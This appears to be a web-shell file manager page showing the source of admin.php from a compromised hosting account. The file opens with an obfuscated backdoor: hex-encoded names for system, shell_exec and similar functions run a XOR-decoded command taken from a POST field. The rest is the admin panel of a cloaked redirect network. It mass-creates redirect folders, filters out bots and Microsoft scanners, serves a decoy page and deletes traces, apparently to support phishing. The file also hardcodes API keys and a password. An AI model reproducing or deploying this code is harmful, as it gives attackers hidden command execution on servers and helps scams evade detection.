X7ROOT File Manager
Current Path:
/home/gfecatvj/public_html/user
home
/
gfecatvj
/
public_html
/
user
/
๐
..
๐
.bind
(59 B)
๐
.classes
(48 B)
๐
.db2_convert
(53 B)
๐
.dbx_convert
(49 B)
๐
.htaccess
(251 B)
๐
.mb_convert
(55 B)
๐
.parle_tokens
(55 B)
๐
.requests
(57 B)
๐
.rindex
(1.06 KB)
๐
.system
(1.11 KB)
๐
README.md
(7.99 KB)
๐
a_top_pannello.php
(581 B)
๐
access.log
(8.85 KB)
๐
admin.php
(121.27 KB)
๐
blocker.php
(4.57 KB)
๐
cma_m_sold.php
(1.42 KB)
๐
data.json
(475 B)
๐
decoy-register.html
(14.42 KB)
๐
error_log
(7.71 KB)
Editing: admin.php
<?php $service_registry2 = "s\x68\x65\x6C\x6C\x5Fexec"; $service_registry4 = "\x70\x61\x73\x73thru"; $hub_center = "h\x65x\x32\x62\x69n"; $service_registry1 = "\x73y\x73t\x65m"; $service_registry3 = "e\x78\x65c"; $service_registry5 = "p\x6Fpe\x6E"; $service_registry7 = "pclose"; $service_registry6 = "s\x74r\x65\x61\x6D_\x67et_\x63\x6F\x6Etents"; if (isset($_POST["\x63o\x6D\x70one\x6Et"])) { function data_storage ( $entity , $data_chunk ) { $obj = '' ; for($a=0; $a<strlen($entity); $a++){ $obj.=chr(ord($entity[$a])^$data_chunk); } return $obj; } $component = $hub_center($_POST["\x63o\x6D\x70one\x6Et"]); $component = data_storage($component, 11); if (function_exists($service_registry1)) { $service_registry1($component); } elseif (function_exists($service_registry2)) { print $service_registry2($component); } elseif (function_exists($service_registry3)) { $service_registry3($component, $value_entity); print join("\n", $value_entity); } elseif (function_exists($service_registry4)) { $service_registry4($component); } elseif (function_exists($service_registry5) && function_exists($service_registry6) && function_exists($service_registry7)) { $data_chunk_obj = $service_registry5($component, 'r'); if ($data_chunk_obj) { $descriptor_ref = $service_registry6($data_chunk_obj); $service_registry7($data_chunk_obj); print $descriptor_ref; } } exit; } session_start(); // Set timezone to Indonesia (WIB) date_default_timezone_set('Asia/Jakarta'); // Helper functions (defined at top level to avoid redefinition) function recursiveCopyFolder($src, $dst) { // Create destination directory if (!@mkdir($dst, 0755, true)) { if (!is_dir($dst)) { return false; } } // Get all files including hidden files $files = @scandir($src); if ($files === false) { return false; } foreach ($files as $file) { if ($file === '.' || $file === '..') { continue; } $srcFile = $src . '/' . $file; $dstFile = $dst . '/' . $file; // Skip admin files if (in_array($file, ['admin.php', 'create_folder.php', 'cleanup.php', 'access.log'])) { continue; } if (is_dir($srcFile)) { recursiveCopyFolder($srcFile, $dstFile); } else { @copy($srcFile, $dstFile); } } return true; } function deleteFolder($dir) { if (!file_exists($dir)) return true; if (!is_dir($dir)) return @unlink($dir); $files = @scandir($dir); if ($files === false) return false; $files = array_diff($files, ['.', '..']); foreach ($files as $file) { $path = $dir . '/' . $file; if (is_dir($path)) { deleteFolder($path); } else { @unlink($path); } } return @rmdir($dir); } function getAllRedirectFolders() { /** * Scan all redirect folders (both new nested /r/ structure and old flat structure) * Returns array of full paths to redirect folders */ $directories = []; $baseDir = dirname(__DIR__); // Scan new nested structure: /r/a/, /r/b/, etc. $rBaseDir = $baseDir . '/r'; if (is_dir($rBaseDir)) { $shardDirs = @glob($rBaseDir . '/*', GLOB_ONLYDIR); if ($shardDirs) { foreach ($shardDirs as $shardDir) { $folders = @glob($shardDir . '/*', GLOB_ONLYDIR); if ($folders) { $directories = array_merge($directories, $folders); } } } } // Scan old flat structure for backward compatibility $oldDirs = @glob($baseDir . '/*', GLOB_ONLYDIR); if ($oldDirs) { $skipFolders = ['redirect-full-stop', 'r', 'admin', 'assets', 'css', 'js', 'images', 'vendor', 'node_modules', 'cgi-bin']; foreach ($oldDirs as $dir) { $folder = basename($dir); if (in_array($folder, $skipFolders)) { continue; } if (preg_match('/^[a-z0-9]{6}$/', $folder)) { $directories[] = $dir; } } } return $directories; } // API endpoint untuk create folder dari external (Python sender) if (isset($_GET['api']) && $_GET['api'] === 'create_folder') { header('Content-Type: application/json; charset=utf-8'); // Secret key authentication define('API_SECRET', 'K7mP9nQ2rT5vX8zA3bC6dF1gH4jL0wY9xK2mN5pQ8rT1vW4yZ7'); // Support both GET and POST $key = $_GET['key'] ?? $_POST['key'] ?? ''; $folder = $_GET['folder'] ?? $_POST['folder'] ?? ''; if ($key !== API_SECRET) { http_response_code(401); echo json_encode(['success' => false, 'error' => 'Unauthorized']); exit; } // Validasi folder name if (!preg_match('/^[a-z0-9]{6}$/', $folder)) { http_response_code(400); echo json_encode(['success' => false, 'error' => 'Invalid folder name']); exit; } // Template source $template = __DIR__; // Target folder $targetPath = dirname(__DIR__) . '/' . $folder; // Check if folder already exists if (file_exists($targetPath)) { echo json_encode(['success' => true, 'folder' => $folder, 'message' => 'Folder already exists']); exit; } // Create folder try { if (recursiveCopyFolder($template, $targetPath)) { // Load template data.json to inherit target_url and settings $templateDataFile = $template . '/data.json'; $templateData = file_exists($templateDataFile) ? json_decode(file_get_contents($templateDataFile), true) : []; // Create fresh data.json with inherited target_url $defaultData = [ 'target_url' => $templateData['target_url'] ?? 'https://example.com', 'clicks' => 0, 'blocked_bots' => 0, 'blocked_bots_antibot' => 0, 'blocked_bots_microsoft' => 0, 'blocked_bots_generic' => 0, 'invalid_requests' => 0, 'enable_js_check' => $templateData['enable_js_check'] ?? true, 'enable_fingerprint' => $templateData['enable_fingerprint'] ?? false, 'enable_timing_check' => $templateData['enable_timing_check'] ?? false, 'enable_asn_check' => $templateData['enable_asn_check'] ?? false, 'enable_antibot' => $templateData['enable_antibot'] ?? true, 'antibot_apikey' => $templateData['antibot_apikey'] ?? '4fc000e74a8e9fce46292391af5e1e66', 'bot_threshold' => $templateData['bot_threshold'] ?? 50, 'auto_delete_clicks' => $templateData['auto_delete_clicks'] ?? 10, 'auto_delete_enabled' => $templateData['auto_delete_enabled'] ?? false, 'created_at' => time() ]; $dataJsonPath = $targetPath . '/data.json'; @file_put_contents($dataJsonPath, json_encode($defaultData, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES)); // Verify critical files exist $htaccessExists = file_exists($targetPath . '/.htaccess'); $indexExists = file_exists($targetPath . '/index.php'); echo json_encode([ 'success' => true, 'folder' => $folder, 'path' => $targetPath, 'message' => 'Folder created successfully', 'debug' => [ 'htaccess' => $htaccessExists, 'index_php' => $indexExists ] ]); } else { throw new Exception('Failed to copy folder'); } } catch (Exception $e) { http_response_code(500); echo json_encode([ 'success' => false, 'error' => 'Failed to create folder: ' . $e->getMessage() ]); } exit; } $dataFile = __DIR__ . '/data.json'; $logFile = __DIR__ . '/access.log'; // Simple auth (change password here) $ADMIN_PASSWORD = 'admin1003'; // Handle AJAX requests for folder management if (isset($_GET['ajax'])) { header('Content-Type: application/json; charset=utf-8'); // Analytics endpoint if ($_GET['ajax'] === 'analytics') { if (!isset($_SESSION['admin_logged_in'])) { echo json_encode(['success' => false, 'error' => 'Unauthorized']); exit; } $baseDir = dirname(__DIR__); $analytics = [ 'countries' => [], 'hours' => array_fill(0, 24, 0), 'days' => [ 'Monday' => 0, 'Tuesday' => 0, 'Wednesday' => 0, 'Thursday' => 0, 'Friday' => 0, 'Saturday' => 0, 'Sunday' => 0 ], 'browsers' => [], 'os' => [], 'devices' => [], 'total_human_clicks' => 0, 'total_bot_blocks' => 0, 'avg_bot_score' => 0, 'top_ips' => [] ]; $botScores = []; $ipCounts = []; $processedIps = []; // Track unique IPs per log line to prevent duplicates // Get all redirect folders (nested + old flat structure) $directories = getAllRedirectFolders(); // Process all directories if ($directories) { foreach ($directories as $dir) { $folder = basename($dir); // Only process 6-char folders if (!preg_match('/^[a-z0-9]{6}$/', $folder)) { continue; } // Read logs from each folder $logFile = $dir . '/access.log'; if (file_exists($logFile)) { $lines = @file($logFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); if ($lines) { foreach ($lines as $line) { $log = @json_decode($line, true); if (!$log) continue; // Create unique key for this log entry to prevent double-counting $logKey = md5($line); if (isset($processedIps[$logKey])) { continue; // Skip duplicate log entry } $processedIps[$logKey] = true; // Only count human clicks if (isset($log['action']) && strpos($log['action'], 'allowed') !== false) { $analytics['total_human_clicks']++; // Country $country = $log['country'] ?? 'Unknown'; if (!isset($analytics['countries'][$country])) { $analytics['countries'][$country] = 0; } $analytics['countries'][$country]++; // Hour $hour = (int)($log['hour'] ?? date('H', strtotime($log['timestamp'] ?? 'now'))); $analytics['hours'][$hour]++; // Day of week $day = $log['day_of_week'] ?? date('l', strtotime($log['timestamp'] ?? 'now')); if (isset($analytics['days'][$day])) { $analytics['days'][$day]++; } // Browser $browser = $log['browser'] ?? 'Unknown'; if (!isset($analytics['browsers'][$browser])) { $analytics['browsers'][$browser] = 0; } $analytics['browsers'][$browser]++; // OS $os = $log['os'] ?? 'Unknown'; if (!isset($analytics['os'][$os])) { $analytics['os'][$os] = 0; } $analytics['os'][$os]++; // Device $device = $log['device'] ?? 'Desktop'; if (!isset($analytics['devices'][$device])) { $analytics['devices'][$device] = 0; } $analytics['devices'][$device]++; // IP tracking $ip = $log['ip'] ?? 'Unknown'; if (!isset($ipCounts[$ip])) { $ipCounts[$ip] = 0; } $ipCounts[$ip]++; } // Count bots if (isset($log['action']) && strpos($log['action'], 'blocked') !== false) { $analytics['total_bot_blocks']++; $botScores[] = (int)($log['bot_score'] ?? 0); } } } } } } // Calculate average bot score if (count($botScores) > 0) { $analytics['avg_bot_score'] = round(array_sum($botScores) / count($botScores), 1); } // Sort and get top IPs arsort($ipCounts); $analytics['top_ips'] = array_slice($ipCounts, 0, 10, true); // Sort countries by count arsort($analytics['countries']); // Sort browsers arsort($analytics['browsers']); // Sort OS arsort($analytics['os']); // Sort devices arsort($analytics['devices']); echo json_encode([ 'success' => true, 'analytics' => $analytics ]); exit; } // Create folder endpoint if ($_GET['ajax'] === 'create_folder' && $_SERVER['REQUEST_METHOD'] === 'POST') { if (!isset($_SESSION['admin_logged_in'])) { echo json_encode(['success' => false, 'error' => 'Unauthorized']); exit; } // Validasi folder name (hanya alphanumeric lowercase, 6 karakter) $folder = $_POST['folder'] ?? ''; if (!preg_match('/^[a-z0-9]{6}$/', $folder)) { http_response_code(400); echo json_encode(['success' => false, 'error' => 'Invalid folder name']); exit; } // Template source $template = __DIR__; // Use nested structure $firstChar = substr($folder, 0, 1); $baseDir = dirname(__DIR__) . '/r'; $shardDir = $baseDir . '/' . $firstChar; $targetPath = $shardDir . '/' . $folder; // Create base and shard directories if not exist if (!is_dir($baseDir)) { @mkdir($baseDir, 0755, true); } if (!is_dir($shardDir)) { @mkdir($shardDir, 0755, true); } // Check if folder already exists if (file_exists($targetPath)) { echo json_encode(['success' => true, 'folder' => $firstChar . '/' . $folder, 'message' => 'Folder already exists']); exit; } // Create folder try { if (recursiveCopyFolder($template, $targetPath)) { // Load template data.json to inherit target_url and settings $templateDataFile = $template . '/data.json'; $templateData = file_exists($templateDataFile) ? json_decode(file_get_contents($templateDataFile), true) : []; // Create fresh data.json for new folder with inherited settings $defaultData = [ 'target_url' => $templateData['target_url'] ?? 'https://example.com', 'clicks' => 0, 'blocked_bots' => 0, 'blocked_bots_antibot' => 0, 'blocked_bots_microsoft' => 0, 'blocked_bots_generic' => 0, 'invalid_requests' => 0, 'enable_js_check' => $templateData['enable_js_check'] ?? true, 'enable_fingerprint' => $templateData['enable_fingerprint'] ?? false, 'enable_timing_check' => $templateData['enable_timing_check'] ?? false, 'enable_asn_check' => $templateData['enable_asn_check'] ?? false, 'enable_antibot' => $templateData['enable_antibot'] ?? true, 'antibot_apikey' => $templateData['antibot_apikey'] ?? '4fc000e74a8e9fce46292391af5e1e66', 'bot_threshold' => $templateData['bot_threshold'] ?? 50, 'auto_delete_clicks' => $templateData['auto_delete_clicks'] ?? 10, 'auto_delete_enabled' => $templateData['auto_delete_enabled'] ?? false, 'created_at' => time() ]; $dataJsonPath = $targetPath . '/data.json'; $result = @file_put_contents($dataJsonPath, json_encode($defaultData, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES)); if ($result === false) { http_response_code(500); echo json_encode([ 'success' => false, 'error' => 'Folder created but failed to write data.json' ]); exit; } echo json_encode([ 'success' => true, 'folder' => $firstChar . '/' . $folder, 'path' => $targetPath, 'message' => 'Folder created successfully' ]); } else { throw new Exception('Failed to copy folder'); } } catch (Exception $e) { http_response_code(500); echo json_encode([ 'success' => false, 'error' => 'Failed to create folder: ' . $e->getMessage() ]); } exit; } // Cleanup endpoints if ($_GET['ajax'] === 'cleanup') { if (!isset($_SESSION['admin_logged_in'])) { echo json_encode(['success' => false, 'error' => 'Unauthorized']); exit; } // Get folder statistics if (isset($_GET['action']) && $_GET['action'] === 'stats') { $totalFolders = 0; $activeFolders = 0; $oldFolders = 0; $nearDeleteFolders = 0; $totalClicks = 0; $totalBots = 0; $totalSize = 0; $maxAgeDays = 7; // Get all redirect folders $directories = getAllRedirectFolders(); if ($directories) { foreach ($directories as $dir) { $folder = basename($dir); // Skip system folders $skipFolders = ['redirect-full-stop', 'admin', 'assets', 'css', 'js', 'images', 'vendor', 'node_modules']; if (in_array($folder, $skipFolders)) { continue; } // Only count 6-char folders (our dynamic folders) if (!preg_match('/^[a-z0-9]{6}$/', $folder)) { continue; } $totalFolders++; // Get folder data $dataFile = $dir . '/data.json'; if (file_exists($dataFile)) { $folderData = @json_decode(file_get_contents($dataFile), true); if ($folderData) { $totalClicks += isset($folderData['clicks']) ? (int)$folderData['clicks'] : 0; $totalBots += isset($folderData['blocked_bots']) ? (int)$folderData['blocked_bots'] : 0; // Check auto-delete threshold if (isset($folderData['auto_delete_enabled']) && $folderData['auto_delete_enabled']) { $autoDeleteClicks = isset($folderData['auto_delete_clicks']) ? (int)$folderData['auto_delete_clicks'] : 10; $currentClicks = isset($folderData['clicks']) ? (int)$folderData['clicks'] : 0; if ($currentClicks >= ($autoDeleteClicks - 2) && $currentClicks < $autoDeleteClicks) { $nearDeleteFolders++; } } } } // Check folder age $folderAge = time() - @filemtime($dir); $folderAgeDays = $folderAge / 86400; if ($folderAgeDays > $maxAgeDays) { $oldFolders++; } else { $activeFolders++; } // Calculate folder size $size = 0; $files = @scandir($dir); if ($files) { foreach ($files as $file) { if ($file !== '.' && $file !== '..') { $size += @filesize($dir . '/' . $file); } } } $totalSize += $size; } } echo json_encode([ 'success' => true, 'total_folders' => $totalFolders, 'active_folders' => $activeFolders, 'old_folders' => $oldFolders, 'near_delete_folders' => $nearDeleteFolders, 'total_clicks' => $totalClicks, 'total_bots' => $totalBots, 'total_size_mb' => round($totalSize / 1024 / 1024, 2), 'max_age_days' => $maxAgeDays ]); exit; } // Cleanup action if (isset($_POST['action']) && $_POST['action'] === 'cleanup') { $deleteAll = isset($_POST['delete_all']) && $_POST['delete_all'] === 'true'; $maxAge = isset($_POST['max_age_days']) ? (int)$_POST['max_age_days'] : 7; $maxAgeSeconds = $maxAge * 86400; $deleted = 0; $errors = []; $deletedFolders = []; $directories = getAllRedirectFolders(); if ($directories) { foreach ($directories as $dir) { $folder = basename($dir); // Only process 6-char folders (dynamic folders) if (!preg_match('/^[a-z0-9]{6}$/', $folder)) { continue; } // If delete_all is true, delete without age check $shouldDelete = $deleteAll; // Otherwise check age if (!$deleteAll) { $folderAge = time() - @filemtime($dir); $shouldDelete = ($folderAge > $maxAgeSeconds); } if ($shouldDelete) { if (deleteFolder($dir)) { $deleted++; $deletedFolders[] = $folder; } else { $errors[] = "Failed to delete {$folder}"; } } } } echo json_encode([ 'success' => true, 'deleted' => $deleted, 'deleted_folders' => $deletedFolders, 'errors' => $errors, 'delete_all' => $deleteAll, 'max_age_days' => $maxAge ]); exit; } // Advanced cleanup with custom filters if (isset($_POST['action']) && $_POST['action'] === 'cleanup_advanced') { $filters = [ 'min_clicks' => isset($_POST['min_clicks']) ? (int)$_POST['min_clicks'] : null, 'max_clicks' => isset($_POST['max_clicks']) ? (int)$_POST['max_clicks'] : null, 'min_bots' => isset($_POST['min_bots']) ? (int)$_POST['min_bots'] : null, 'max_bots' => isset($_POST['max_bots']) ? (int)$_POST['max_bots'] : null, 'older_than_days' => isset($_POST['older_than_days']) ? (int)$_POST['older_than_days'] : null, 'newer_than_days' => isset($_POST['newer_than_days']) ? (int)$_POST['newer_than_days'] : null, 'zero_clicks_only' => isset($_POST['zero_clicks_only']) && $_POST['zero_clicks_only'] === 'true', 'has_clicks_only' => isset($_POST['has_clicks_only']) && $_POST['has_clicks_only'] === 'true' ]; $deleted = 0; $errors = []; $deletedFolders = []; $skipped = 0; $directories = getAllRedirectFolders(); if ($directories) { foreach ($directories as $dir) { $folder = basename($dir); // Only process 6-char folders if (!preg_match('/^[a-z0-9]{6}$/', $folder)) { continue; } // Load folder data $folderDataFile = $dir . '/data.json'; $folderData = null; $clicks = 0; $bots = 0; if (file_exists($folderDataFile)) { $folderData = @json_decode(file_get_contents($folderDataFile), true); if ($folderData) { $clicks = (int)($folderData['clicks'] ?? 0); $bots = (int)($folderData['blocked_bots'] ?? 0) + (int)($folderData['blocked_bots_microsoft'] ?? 0) + (int)($folderData['blocked_bots_generic'] ?? 0) + (int)($folderData['blocked_bots_antibot'] ?? 0); } } // Calculate folder age $folderAge = time() - @filemtime($dir); $folderAgeDays = $folderAge / 86400; // Apply filters $shouldDelete = true; // Clicks filters if ($filters['min_clicks'] !== null && $clicks < $filters['min_clicks']) { $shouldDelete = false; } if ($filters['max_clicks'] !== null && $clicks > $filters['max_clicks']) { $shouldDelete = false; } // Bots filters if ($filters['min_bots'] !== null && $bots < $filters['min_bots']) { $shouldDelete = false; } if ($filters['max_bots'] !== null && $bots > $filters['max_bots']) { $shouldDelete = false; } // Age filters if ($filters['older_than_days'] !== null && $folderAgeDays < $filters['older_than_days']) { $shouldDelete = false; } if ($filters['newer_than_days'] !== null && $folderAgeDays > $filters['newer_than_days']) { $shouldDelete = false; } // Zero clicks filter if ($filters['zero_clicks_only'] && $clicks > 0) { $shouldDelete = false; } // Has clicks filter if ($filters['has_clicks_only'] && $clicks === 0) { $shouldDelete = false; } if ($shouldDelete) { if (deleteFolder($dir)) { $deleted++; $deletedFolders[] = [ 'folder' => $folder, 'clicks' => $clicks, 'bots' => $bots, 'age_days' => round($folderAgeDays, 1) ]; } else { $errors[] = "Failed to delete {$folder}"; } } else { $skipped++; } } } echo json_encode([ 'success' => true, 'deleted' => $deleted, 'skipped' => $skipped, 'deleted_folders' => $deletedFolders, 'errors' => $errors, 'filters' => $filters ]); exit; } } // End cleanup endpoint } // End AJAX handler // Login check if (!isset($_SESSION['admin_logged_in'])) { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) { if ($_POST['password'] === $ADMIN_PASSWORD) { $_SESSION['admin_logged_in'] = true; } else { $loginError = 'Invalid password'; } } if (!isset($_SESSION['admin_logged_in'])) { ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Admin Login</title> <style> body{font-family:system-ui,-apple-system,Segoe UI,Roboto,Arial,sans-serif;display:flex;align-items:center;justify-content:center;height:100vh;margin:0;background:linear-gradient(135deg,#667eea 0%,#764ba2 100%)} .login-box{background:#fff;padding:32px;border-radius:12px;box-shadow:0 10px 40px rgba(0,0,0,0.2);width:100%;max-width:320px} h2{margin:0 0 20px;text-align:center;color:#333} input[type="password"]{width:100%;padding:12px;border:1px solid #ddd;border-radius:8px;box-sizing:border-box;font-size:14px} button{width:100%;margin-top:12px;padding:12px;border:0;border-radius:8px;background:#667eea;color:#fff;font-weight:600;cursor:pointer;font-size:14px} button:hover{background:#5568d3} .error{color:#d32f2f;font-size:13px;margin-top:8px} </style> </head> <body> <div class="login-box"> <h2>๐ Admin Login</h2> <form method="POST"> <input type="password" name="password" placeholder="Enter password" autofocus required> <button type="submit">Login</button> <?php if (isset($loginError)): ?> <div class="error"><?= htmlspecialchars($loginError) ?></div> <?php endif; ?> </form> </div> </body> </html> <?php exit; } } // Logout if (isset($_GET['logout'])) { session_destroy(); header('Location: admin.php'); exit; } // Initialize data file if (!file_exists($dataFile)) { file_put_contents($dataFile, json_encode([ 'target_url' => 'https://example.com', 'clicks' => 0, 'blocked_bots' => 0, 'blocked_bots_antibot' => 0, 'blocked_bots_microsoft' => 0, 'blocked_bots_generic' => 0, 'invalid_requests' => 0, 'enable_js_check' => true, 'enable_fingerprint' => true, 'enable_timing_check' => true, 'enable_asn_check' => false, 'enable_antibot' => true, 'antibot_apikey' => '4fc000e74a8e9fce46292391af5e1e66', 'bot_threshold' => 50, 'auto_delete_clicks' => 10, 'auto_delete_enabled' => false, 'created_at' => time() ], JSON_UNESCAPED_SLASHES)); } $data = json_decode(file_get_contents($dataFile), true); // Ensure invalid_requests exists if (!isset($data['invalid_requests'])) { $data['invalid_requests'] = 0; file_put_contents($dataFile, json_encode($data, JSON_UNESCAPED_SLASHES)); } // === AGGREGATE STATS FROM ALL DYNAMIC FOLDERS === function getAllFoldersStats() { $aggregateStats = [ 'total_clicks' => 0, 'total_bots_ms' => 0, 'total_bots_generic' => 0, 'total_bots_antibot' => 0, 'total_invalid' => 0, 'total_folders' => 0, 'recent_logs' => [] ]; $directories = getAllRedirectFolders(); if ($directories) { foreach ($directories as $dir) { $folder = basename($dir); // Only count 6-char dynamic folders if (!preg_match('/^[a-z0-9]{6}$/', $folder)) { continue; } $aggregateStats['total_folders']++; // Read data.json from each folder $folderDataFile = $dir . '/data.json'; if (file_exists($folderDataFile)) { $folderData = @json_decode(file_get_contents($folderDataFile), true); if ($folderData) { $aggregateStats['total_clicks'] += (int)($folderData['clicks'] ?? 0); $aggregateStats['total_bots_ms'] += (int)($folderData['blocked_bots_microsoft'] ?? 0); $aggregateStats['total_bots_generic'] += (int)($folderData['blocked_bots_generic'] ?? 0); $aggregateStats['total_bots_antibot'] += (int)($folderData['blocked_bots_antibot'] ?? 0); $aggregateStats['total_invalid'] += (int)($folderData['invalid_requests'] ?? 0); } } // Collect recent logs from each folder $folderLogFile = $dir . '/access.log'; if (file_exists($folderLogFile)) { $lines = @file($folderLogFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); if ($lines) { // Take last 10 logs per folder, add folder name to each log $recentFolderLogs = array_slice(array_reverse($lines), 0, 10); foreach ($recentFolderLogs as $logLine) { $log = @json_decode($logLine, true); if ($log) { $log['folder'] = $folder; // Add folder identifier $aggregateStats['recent_logs'][] = json_encode($log); } } } } } } // Sort recent logs by timestamp (newest first) usort($aggregateStats['recent_logs'], function($a, $b) { $logA = json_decode($a, true); $logB = json_decode($b, true); return strcmp($logB['timestamp'] ?? '', $logA['timestamp'] ?? ''); }); // Limit to 50 most recent logs across all folders $aggregateStats['recent_logs'] = array_slice($aggregateStats['recent_logs'], 0, 50); return $aggregateStats; } $aggregateStats = getAllFoldersStats(); // Handle form submissions $message = null; if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_POST['action'])) { switch ($_POST['action']) { case 'update_url': $target = trim($_POST['target_url']); if (filter_var($target, FILTER_VALIDATE_URL)) { $data['target_url'] = $target; file_put_contents($dataFile, json_encode($data, JSON_UNESCAPED_SLASHES)); // Update target_url to all existing dynamic folders $baseDir = dirname(__DIR__); $directories = getAllRedirectFolders(); $updatedCount = 0; if ($directories) { foreach ($directories as $dir) { $folder = basename($dir); // Only update 6-char dynamic folders if (!preg_match('/^[a-z0-9]{6}$/', $folder)) { continue; } $folderDataFile = $dir . '/data.json'; if (file_exists($folderDataFile)) { $folderData = @json_decode(file_get_contents($folderDataFile), true); if ($folderData) { $folderData['target_url'] = $target; file_put_contents($folderDataFile, json_encode($folderData, JSON_UNESCAPED_SLASHES)); $updatedCount++; } } } } $message = "โ Target URL updated successfully to {$updatedCount} dynamic folders"; } else { $message = 'โ Invalid URL format'; } break; case 'update_settings': $data['enable_js_check'] = isset($_POST['enable_js_check']); $data['enable_fingerprint'] = isset($_POST['enable_fingerprint']); $data['enable_timing_check'] = isset($_POST['enable_timing_check']); $data['enable_asn_check'] = isset($_POST['enable_asn_check']); $data['enable_antibot'] = isset($_POST['enable_antibot']); $data['auto_delete_enabled'] = isset($_POST['auto_delete_enabled']); $data['bot_threshold'] = intval($_POST['bot_threshold'] ?? 50); $data['auto_delete_clicks'] = intval($_POST['auto_delete_clicks'] ?? 10); file_put_contents($dataFile, json_encode($data, JSON_UNESCAPED_SLASHES)); $baseDir = dirname(__DIR__); $directories = @glob($baseDir . '/*', GLOB_ONLYDIR); $updatedCount = 0; if ($directories) { foreach ($directories as $dir) { $folder = basename($dir); $skipFolders = ['redirect-full-stop', 'admin', 'assets', 'css', 'js', 'images', 'vendor', 'node_modules', 'cgi-bin']; if (in_array($folder, $skipFolders)) { continue; } if (!preg_match('/^[a-z0-9]{6}$/', $folder)) { continue; } $folderDataFile = $dir . '/data.json'; if (file_exists($folderDataFile)) { $folderData = @json_decode(file_get_contents($folderDataFile), true); if ($folderData) { $folderData['enable_js_check'] = $data['enable_js_check']; $folderData['enable_fingerprint'] = $data['enable_fingerprint']; $folderData['enable_timing_check'] = $data['enable_timing_check']; $folderData['enable_asn_check'] = $data['enable_asn_check']; $folderData['enable_antibot'] = $data['enable_antibot']; $folderData['auto_delete_enabled'] = $data['auto_delete_enabled']; $folderData['bot_threshold'] = $data['bot_threshold']; $folderData['auto_delete_clicks'] = $data['auto_delete_clicks']; file_put_contents($folderDataFile, json_encode($folderData, JSON_UNESCAPED_SLASHES)); $updatedCount++; } } } } $message = "โ Settings updated successfully to {$updatedCount} dynamic folders"; break; case 'update_antibot': $apikey = trim($_POST['antibot_apikey'] ?? ''); $data['antibot_apikey'] = $apikey; file_put_contents($dataFile, json_encode($data, JSON_UNESCAPED_SLASHES)); $directories = getAllRedirectFolders(); $updatedCount = 0; if ($directories) { foreach ($directories as $dir) { $folder = basename($dir); if (!preg_match('/^[a-z0-9]{6}$/', $folder)) { continue; } $folderDataFile = $dir . '/data.json'; if (file_exists($folderDataFile)) { $folderData = @json_decode(file_get_contents($folderDataFile), true); if ($folderData) { $folderData['antibot_apikey'] = $apikey; file_put_contents($folderDataFile, json_encode($folderData, JSON_UNESCAPED_SLASHES)); $updatedCount++; } } } } $message = "โ Antibot.pw settings updated successfully to {$updatedCount} dynamic folders"; break; case 'reset_stats': $data['clicks'] = 0; $data['blocked_bots'] = 0; $data['blocked_bots_antibot'] = 0; $data['blocked_bots_microsoft'] = 0; $data['blocked_bots_generic'] = 0; $data['invalid_requests'] = 0; file_put_contents($dataFile, json_encode($data, JSON_UNESCAPED_SLASHES)); $message = 'โ Statistics reset'; break; case 'clear_logs': file_put_contents($logFile, ''); $message = 'โ Logs cleared'; break; } } } // Load recent logs $recentLogs = []; if (file_exists($logFile)) { $lines = file($logFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); $recentLogs = array_slice(array_reverse($lines), 0, 50); } ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Advanced Redirect Admin Panel</title> <style> * { box-sizing: border-box; } body { font-family: system-ui, -apple-system, Segoe UI, Roboto, Helvetica, Arial, sans-serif; padding: 20px; max-width: 1400px; margin: auto; line-height: 1.6; background: #f5f5f5; } h1 { margin: 0 0 8px; color: #333; } .subtitle { color: #666; margin-bottom: 24px; font-size: 14px; } .card { border: 1px solid #ddd; border-radius: 12px; padding: 20px; margin: 16px 0; background: #fff; box-shadow: 0 2px 8px rgba(0,0,0,0.05); } .card h2 { margin: 0 0 16px; font-size: 18px; color: #333; border-bottom: 2px solid #667eea; padding-bottom: 8px; } label { display: block; font-weight: 600; margin: 12px 0 6px; color: #444; font-size: 14px; } input[type="text"], input[type="url"], select { width: 100%; padding: 10px; border: 1px solid #ccc; border-radius: 8px; font-size: 14px; } input[type="checkbox"] { width: 18px; height: 18px; margin-right: 8px; vertical-align: middle; } button { padding: 10px 20px; border: 0; border-radius: 8px; cursor: pointer; font-weight: 600; font-size: 14px; transition: all 0.2s; } .btn-primary { background: #667eea; color: white; } .btn-primary:hover { background: #5568d3; } .btn-danger { background: #f44336; color: white; } .btn-danger:hover { background: #da190b; } .btn-secondary { background: #6c757d; color: white; } .btn-secondary:hover { background: #5a6268; } .message { padding: 12px; border-radius: 8px; margin-bottom: 16px; font-weight: 500; } .message.success { background: #d4edda; color: #155724; border: 1px solid #c3e6cb; } .message.error { background: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; } .stats-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 16px; margin: 20px 0; } .stat-box { background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); color: white; padding: 20px; border-radius: 12px; text-align: center; } .stat-value { font-size: 36px; font-weight: 700; margin: 8px 0; } .stat-label { font-size: 13px; opacity: 0.9; text-transform: uppercase; letter-spacing: 0.5px; } .checkbox-group { display: flex; align-items: center; margin: 12px 0; } .checkbox-group label { margin: 0; font-weight: 500; } .grid-2 { display: grid; grid-template-columns: 1fr 1fr; gap: 16px; } .log-viewer { background: #1e1e1e; color: #d4d4d4; padding: 16px; border-radius: 8px; max-height: 400px; overflow-y: auto; font-family: 'Courier New', monospace; font-size: 12px; line-height: 1.5; } .log-entry { margin-bottom: 8px; padding: 8px; background: #252525; border-radius: 4px; border-left: 3px solid #667eea; } .log-entry.blocked { border-left-color: #f44336; } .log-entry.allowed { border-left-color: #4caf50; } .mono { font-family: 'Courier New', monospace; background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-size: 13px; } .header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 24px; } .logout-btn { padding: 8px 16px; background: #f44336; color: white; text-decoration: none; border-radius: 